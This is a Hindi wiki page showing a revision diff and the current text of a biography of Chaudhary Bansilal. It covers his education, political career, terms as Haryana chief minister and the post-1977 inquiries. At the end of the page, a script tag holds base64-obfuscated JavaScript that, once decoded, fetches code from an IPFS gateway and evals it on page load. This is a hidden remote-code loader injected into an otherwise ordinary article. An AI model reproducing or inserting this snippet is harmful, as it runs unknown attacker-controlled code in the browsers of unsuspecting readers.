बंसीलाल: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
No edit summary
 
(5 intermediate revisions by 3 users not shown)
Line 9: Line 9:
|मृत्यु स्थान=
|मृत्यु स्थान=
|मृत्यु कारण=
|मृत्यु कारण=
|अविभावक=
|अभिभावक=
|पति/पत्नी=
|पति/पत्नी=
|संतान=
|संतान=
Line 16: Line 16:
|नागरिकता=भारतीय
|नागरिकता=भारतीय
|प्रसिद्धि=
|प्रसिद्धि=
|पार्टी=[[कांग्रेस]]
|पार्टी=[[कांग्रेस]], जनता पार्टी, हरियाणा विकास पार्टी
|पद=[[हरियाणा के मुख्यमंत्री]]
|पद=[[हरियाणा के मुख्यमंत्री]]
|भाषा=[[हिंदी]], [[अंग्रेज़ी]]
|भाषा=[[हिंदी]], [[अंग्रेज़ी]]
Line 33: Line 33:
|बाहरी कड़ियाँ=
|बाहरी कड़ियाँ=
|अद्यतन=  
|अद्यतन=  
}}
}}'''चौधरी बंसीलाल''' ([[अंग्रेज़ी]]: ''Chaudhary Bansilal'', जन्म- [[26 अगस्त]], [[1927]], [[हरियाणा]]; मृत्यु- [[28 मार्च]], [[2006]]) भारयीय स्वतंत्रता सेनानी, वरिष्ठ कांग्रेसी नेता, हरियाणा के पूर्व [[मुख्यमंत्री]] एवं कई लोगों द्वारा 'आधुनिक हरियाणा के निर्माता' माने जाते हैं। बंसीलाल का जन्म हरियाणा के भिवानी ज़िले में एक तत्कालीन लोहारू रियासत में एक सम्पन्न [[परिवार]] में हुआ था।<ref name="चरित कोश">{{cite book | last =लीलाधर | first =शर्मा  | title =भारतीय चरित कोश  | edition = | publisher =शिक्षा भारती | location =भारतडिस्कवरी पुस्तकालय  | language =[[हिन्दी]]  | pages =506  | chapter = }}</ref> बंसीलाल को [[1975]] में [[आपातकाल]] के दौरान पूर्व प्रधानमंत्री [[इंदिरा गांधी]] और उनके पुत्र [[संजय गांधी]] का करीबी विश्वासपात्र माना जाता था। उन्होंने [[दिसंबर]] [[1975]] से [[मार्च]] [[1977]] तक रक्षामंत्री के रूप में अपनी सेवाएं दीं एवं [[1975]] में केंद्र सरकार में बिना विभाग के मंत्री के रूप में उनका एक संक्षिप्त कार्यकाल रहा। उन्होंने रेलवे और परिवहन विभागों का भी संचालन किया।
'''चौधरी बंसीलाल''' (जन्म- [[26 अगस्त]], [[1927]]; मृत्यु- [[28 मार्च]], [[2006]]) [[हरियाणा]] के पूर्व [[मुख्यमंत्री]] और स्वतन्त्रता सेनानी भी थे। बंसीलाल का जन्म हरियाणा के भिवानी ज़िले में एक तत्कालीन लोहारू रियासत में एक सम्पन्न [[परिवार]] में हुआ था।<ref name="चरित कोश">{{cite book | last =लीलाधर | first =शर्मा  | title =भारतीय चरित कोश  | edition = | publisher =शिक्षा भारती | location =भारतडिस्कवरी पुस्तकालय  | language =[[हिन्दी]]  | pages =506  | chapter = }}</ref>  
====शिक्षा====
====शिक्षा====
बंसीलाल के पिता बच्चों की अधिक शिक्षा के पक्ष में नहीं थे। इसीलिए थोड़ी आरम्भिक शिक्षा के बाद 14 वर्ष की उम्र में ही बंसीलाल को अनाज के व्यापार में जोत दिया गया। पिता की अनुमति न मिलने पर भी बंसीलाल ने अध्ययन जारी रखा और [[1952]] तक प्राइवेट परीक्षाएँ देते हुए बी.ए. पास कर लिया। फिर उन्होंने [[1956]] में [[पंजाब विश्वविद्यालय]] से क़ानून की डिग्री ले ली।<ref name="चरित कोश" />  
बंसीलाल के पिता बच्चों की अधिक शिक्षा के पक्ष में नहीं थे। इसीलिए थोड़ी आरम्भिक शिक्षा के बाद 14 वर्ष की उम्र में ही बंसीलाल को अनाज के व्यापार में जोत दिया गया। पिता की अनुमति न मिलने पर भी बंसीलाल ने अध्ययन जारी रखा और [[1952]] तक प्राइवेट परीक्षाएँ देते हुए बी.ए. पास कर लिया। फिर उन्होंने [[1956]] में [[पंजाब विश्वविद्यालय]] से क़ानून की डिग्री ले ली।<ref name="चरित कोश" />  
Line 46: Line 45:


[[1977]] ई. के चुनाव में जनता पार्टी की विजय के बाद चुनाव में हारे बंसीलाल पर सौ से अधिक आरोप लगाकर उनकी जाँच अनेक कमीशनों को सौंपी गई। पर कुछ सिद्ध नहीं किया जा सका और [[1980]] के चुनावों में कांग्रेस की विजय के बाद सब जाँच समाप्त हो गईं। अपने मुख्यमंत्रित्व में बंसीलाल ने हरियाणा में [[कृषि]], सिंचाई, [[विद्युत]], शिक्षा, स्वास्थ्य और यातायात के क्षेत्र में इतना काम किया कि, उससे हरियाणा उन्नति के मार्ग में कई क़दम आगे बढ़ गया।<ref name="चरित कोश" />
[[1977]] ई. के चुनाव में जनता पार्टी की विजय के बाद चुनाव में हारे बंसीलाल पर सौ से अधिक आरोप लगाकर उनकी जाँच अनेक कमीशनों को सौंपी गई। पर कुछ सिद्ध नहीं किया जा सका और [[1980]] के चुनावों में कांग्रेस की विजय के बाद सब जाँच समाप्त हो गईं। अपने मुख्यमंत्रित्व में बंसीलाल ने हरियाणा में [[कृषि]], सिंचाई, [[विद्युत]], शिक्षा, स्वास्थ्य और यातायात के क्षेत्र में इतना काम किया कि, उससे हरियाणा उन्नति के मार्ग में कई क़दम आगे बढ़ गया।<ref name="चरित कोश" />


{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक2 |माध्यमिक= |पूर्णता= |शोध= }}
Line 52: Line 50:
<references/>
<references/>
==संबंधित लेख==
==संबंधित लेख==
{{स्वतन्त्रता सेनानी}}
{{हरियाणा के मुख्यमंत्री}}{{स्वतन्त्रता सेनानी}}
[[Category:हरियाणा के मुख्यमंत्री]]
[[Category:मुख्यमंत्री]][[Category:हरियाणा के मुख्यमंत्री]][[Category:राजनीतिज्ञ]][[Category:राजनेता]][[Category:स्वतन्त्रता सेनानी]][[Category:जीवनी साहित्य]][[Category:राजनीति कोश]][[Category:चरित कोश]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]]
[[Category:राजनीतिज्ञ]]
[[Category:राजनेता]]
[[Category:स्वतन्त्रता सेनानी]]
[[Category:राजनीति कोश]]
[[Category:चरित कोश]]
__INDEX__
__INDEX__
__NOTOC__

Latest revision as of 06:10, 17 March 2021

बंसीलाल
पूरा नाम चौधरी बंसीलाल
जन्म 26 अगस्त, 1927
जन्म भूमि भिवानी, हरियाणा
मृत्यु 28 मार्च, 2006
नागरिकता भारतीय
पार्टी कांग्रेस, जनता पार्टी, हरियाणा विकास पार्टी
पद हरियाणा के मुख्यमंत्री
शिक्षा वकालत
विद्यालय पंजाब विश्वविद्यालय
भाषा हिंदी, अंग्रेज़ी

चौधरी बंसीलाल (अंग्रेज़ी: Chaudhary Bansilal, जन्म- 26 अगस्त, 1927, हरियाणा; मृत्यु- 28 मार्च, 2006) भारयीय स्वतंत्रता सेनानी, वरिष्ठ कांग्रेसी नेता, हरियाणा के पूर्व मुख्यमंत्री एवं कई लोगों द्वारा 'आधुनिक हरियाणा के निर्माता' माने जाते हैं। बंसीलाल का जन्म हरियाणा के भिवानी ज़िले में एक तत्कालीन लोहारू रियासत में एक सम्पन्न परिवार में हुआ था।[1] बंसीलाल को 1975 में आपातकाल के दौरान पूर्व प्रधानमंत्री इंदिरा गांधी और उनके पुत्र संजय गांधी का करीबी विश्वासपात्र माना जाता था। उन्होंने दिसंबर 1975 से मार्च 1977 तक रक्षामंत्री के रूप में अपनी सेवाएं दीं एवं 1975 में केंद्र सरकार में बिना विभाग के मंत्री के रूप में उनका एक संक्षिप्त कार्यकाल रहा। उन्होंने रेलवे और परिवहन विभागों का भी संचालन किया।

शिक्षा

बंसीलाल के पिता बच्चों की अधिक शिक्षा के पक्ष में नहीं थे। इसीलिए थोड़ी आरम्भिक शिक्षा के बाद 14 वर्ष की उम्र में ही बंसीलाल को अनाज के व्यापार में जोत दिया गया। पिता की अनुमति न मिलने पर भी बंसीलाल ने अध्ययन जारी रखा और 1952 तक प्राइवेट परीक्षाएँ देते हुए बी.ए. पास कर लिया। फिर उन्होंने 1956 में पंजाब विश्वविद्यालय से क़ानून की डिग्री ले ली।[1]

राजनीतिक जीवन

भिवानी में वकालत करते हुए बंसीलाल पिछड़े हुए किसानों के नेता बन गए। बंसीलाल ने कांग्रेस की अनेक स्थानीय समितियों में भी स्थान बना लिया। 1960 में वे राज्यसभा के सदस्य चुने गए। इस प्रकार उन्हें केन्द्रीय स्तर के नेताओं के सम्पर्क में आने का अवसर मिला। राज्यसभा की सदस्यता का कार्यकाल पूरा होने पर वे हरियाणा की राजनीति में वापस आ गए और 1967 से 1975 तक विधान सभा के सदस्य रहे।[1]

मंत्री पदभार
  • 1968 में वे हरियाणा के मुख्यमंत्री बने और 1975 तक रहने के बाद इंदिरा गांधी ने उन्हें रक्षामंत्री बना दिया।[1]
  • बंसीलाल 31 मई 1968 को पहली बार हरियाणा के मुख्यमंत्री बने और 13 मार्च, 1972 तक पद पर रहे।
  • बंसीलाल को 14 मार्च 1972 को दूसरी बार राज्य में शीर्ष पद दिया और 30 नवंबर, 1975 तक पद पर बने रहे।
  • बंसीलाल 5 जून, 1986 से 19 जून, 1987 तक 11 मई, 1996 से 23 जुलाई, 1999 तक तीसरी और चौथी बार मुख्यमंत्री नियुक्त किये गये थे।

1977 ई. के चुनाव में जनता पार्टी की विजय के बाद चुनाव में हारे बंसीलाल पर सौ से अधिक आरोप लगाकर उनकी जाँच अनेक कमीशनों को सौंपी गई। पर कुछ सिद्ध नहीं किया जा सका और 1980 के चुनावों में कांग्रेस की विजय के बाद सब जाँच समाप्त हो गईं। अपने मुख्यमंत्रित्व में बंसीलाल ने हरियाणा में कृषि, सिंचाई, विद्युत, शिक्षा, स्वास्थ्य और यातायात के क्षेत्र में इतना काम किया कि, उससे हरियाणा उन्नति के मार्ग में कई क़दम आगे बढ़ गया।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 1.3 1.4 लीलाधर, शर्मा भारतीय चरित कोश (हिन्दी)। भारतडिस्कवरी पुस्तकालय: शिक्षा भारती, 506।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>